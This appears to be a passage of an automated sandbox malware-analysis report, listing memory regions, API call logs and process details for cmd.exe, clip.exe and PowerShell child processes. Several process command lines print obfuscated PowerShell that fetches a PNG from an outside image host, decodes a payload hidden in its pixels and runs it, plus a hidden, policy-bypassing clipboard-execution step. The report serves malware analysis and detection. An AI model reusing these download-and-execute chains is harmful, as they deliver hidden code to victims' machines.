pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
winbrand.dll 0x7fef9350000 0x7fef9357fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffd9fff Private Memory rw True False False -
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory rw True False False -
Threads
Thread 0xb28
70 0
»
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2018-10-24 06:16:23 (UTC) True 1
Fn
System Get Time type = Ticks, time = 123802 True 1
Fn
Module Get Handle module_name = c:\windows\system32\cmd.exe, base_address = 0x4a210000 True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77b20000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadUILanguage, address_out = 0x77b36d40 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String - True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module Get Filename process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\aETAdzjz\Desktop True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77b20000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CopyFileExW, address_out = 0x77b323d0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x77b28290 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x77b317e0 True 1
Fn
Environment Get Environment String name = '){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7 False 1
Fn
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Process Create process_name = C:\Windows\system32\cmd.exe, os_pid = 0xb2c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD True 1
Fn
Environment Get Environment String - True 1
Fn
Data
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Get Info filename = c:\wIndOws\SyStem32\CliP.ExE, type = file_attributes True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Process Create process_name = c:\wIndOws\SyStem32\clip.exe, os_pid = 0xb34, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Process Create process_name = C:\Windows\system32\cmd.exe, os_pid = 0xb3c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii True 1
Fn
Environment Get Environment String - True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Process #4: cmd.exe
51 0
»
Information Value
ID #4
File Name c:\windows\system32\cmd.exe
Command Line C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) "
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:56, Reason: Child Process
Unmonitor End Time: 00:00:58, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xb2c
Parent PID 0xb24 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B30
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
locale.nls 0x00050000 0x000b6fff Memory Mapped File r False False False -
pagefile_0x00000000000c0000 0x000c0000 0x000c6fff Pagefile Backed Memory r True False False -
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory rw True False False -
private_0x00000000000e0000 0x000e0000 0x001dffff Private Memory rw True False False -
private_0x00000000001e0000 0x001e0000 0x001e0fff Private Memory rw True False False -
private_0x00000000001f0000 0x001f0000 0x002effff Private Memory rw True False False -
private_0x00000000002f0000 0x002f0000 0x003effff Private Memory rw True False False -
private_0x00000000003f0000 0x003f0000 0x003f0fff Private Memory rw True False False -
private_0x00000000004e0000 0x004e0000 0x004effff Private Memory rw True False False -
pagefile_0x00000000004f0000 0x004f0000 0x00677fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000680000 0x00680000 0x00800fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000810000 0x00810000 0x01c0ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001c10000 0x01c10000 0x01f52fff Pagefile Backed Memory r True False False -
cmd.exe 0x4a210000 0x4a268fff Memory Mapped File rwx True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
winbrand.dll 0x7fef9350000 0x7fef9357fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory rw True False False -
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory rw True False False -
Threads
Thread 0xb30
51 0
»
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2018-10-24 06:16:23 (UTC) True 1
Fn
System Get Time type = Ticks, time = 123880 True 1
Fn
Module Get Handle module_name = c:\windows\system32\cmd.exe, base_address = 0x4a210000 True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77b20000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadUILanguage, address_out = 0x77b36d40 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String - True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module Get Filename process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\aETAdzjz\Desktop True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77b20000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CopyFileExW, address_out = 0x77b323d0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x77b28290 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x77b317e0 True 1
Fn
Environment Get Environment String name = '){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7 False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 755 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Process #5: clip.exe
0 0
»
Information Value
ID #5
File Name c:\windows\system32\clip.exe
Command Line c:\wIndOws\SyStem32\CliP.ExE
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:57, Reason: Child Process
Unmonitor End Time: 00:00:58, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xb34
Parent PID 0xb24 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B38
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
locale.nls 0x00050000 0x000b6fff Memory Mapped File r False False False -
private_0x00000000000f0000 0x000f0000 0x0016ffff Private Memory rw True False False -
private_0x00000000001a0000 0x001a0000 0x0029ffff Private Memory rw True False False -
private_0x0000000000340000 0x00340000 0x0034ffff Private Memory rw True False False -
private_0x0000000000350000 0x00350000 0x0044ffff Private Memory rw True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
clip.exe 0xffef0000 0xffefbfff Memory Mapped File rwx False False False -
version.dll 0x7fefcd50000 0x7fefcd5bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
ws2_32.dll 0x7fefee30000 0x7fefee7cfff Memory Mapped File rwx False False False -
advapi32.dll 0x7feff0e0000 0x7feff1bafff Memory Mapped File rwx False False False -
sechost.dll 0x7feff1c0000 0x7feff1defff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
shlwapi.dll 0x7feff640000 0x7feff6b0fff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
rpcrt4.dll 0x7feffc50000 0x7feffd7cfff Memory Mapped File rwx False False False -
nsi.dll 0x7feffec0000 0x7feffec7fff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory rw True False False -
private_0x000007fffffde000 0x7fffffde000 0x7fffffdefff Private Memory rw True False False -
Process #6: cmd.exe
56 0
»
Information Value
ID #6
File Name c:\windows\system32\cmd.exe
Command Line CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:57, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:44
OS Process Information
»
Information Value
PID 0xb3c
Parent PID 0xb24 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B40
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
private_0x0000000000050000 0x00050000 0x0014ffff Private Memory rw True False False -
locale.nls 0x00150000 0x001b6fff Memory Mapped File r False False False -
private_0x00000000001c0000 0x001c0000 0x002bffff Private Memory rw True False False -
private_0x00000000002c0000 0x002c0000 0x002cffff Private Memory rw True False False -
pagefile_0x00000000002d0000 0x002d0000 0x002d6fff Pagefile Backed Memory r True False False -
pagefile_0x00000000002e0000 0x002e0000 0x002e1fff Pagefile Backed Memory rw True False False -
private_0x00000000002f0000 0x002f0000 0x002f0fff Private Memory rw True False False -
private_0x0000000000300000 0x00300000 0x00300fff Private Memory rw True False False -
private_0x0000000000320000 0x00320000 0x0041ffff Private Memory rw True False False -
pagefile_0x0000000000420000 0x00420000 0x005a7fff Pagefile Backed Memory r True False False -
pagefile_0x00000000005b0000 0x005b0000 0x00730fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000740000 0x00740000 0x01b3ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001b40000 0x01b40000 0x01e82fff Pagefile Backed Memory r True False False -
sortdefault.nls 0x01e90000 0x0215efff Memory Mapped File r False False False -
cmd.exe 0x4a210000 0x4a268fff Memory Mapped File rwx True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
winbrand.dll 0x7fef9350000 0x7fef9357fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory rw True False False -
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory rw True False False -
Threads
Thread 0xb40
56 0
»
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2018-10-24 06:16:23 (UTC) True 1
Fn
System Get Time type = Ticks, time = 124051 True 1
Fn
Module Get Handle module_name = c:\windows\system32\cmd.exe, base_address = 0x4a210000 True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77b20000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadUILanguage, address_out = 0x77b36d40 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String - True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
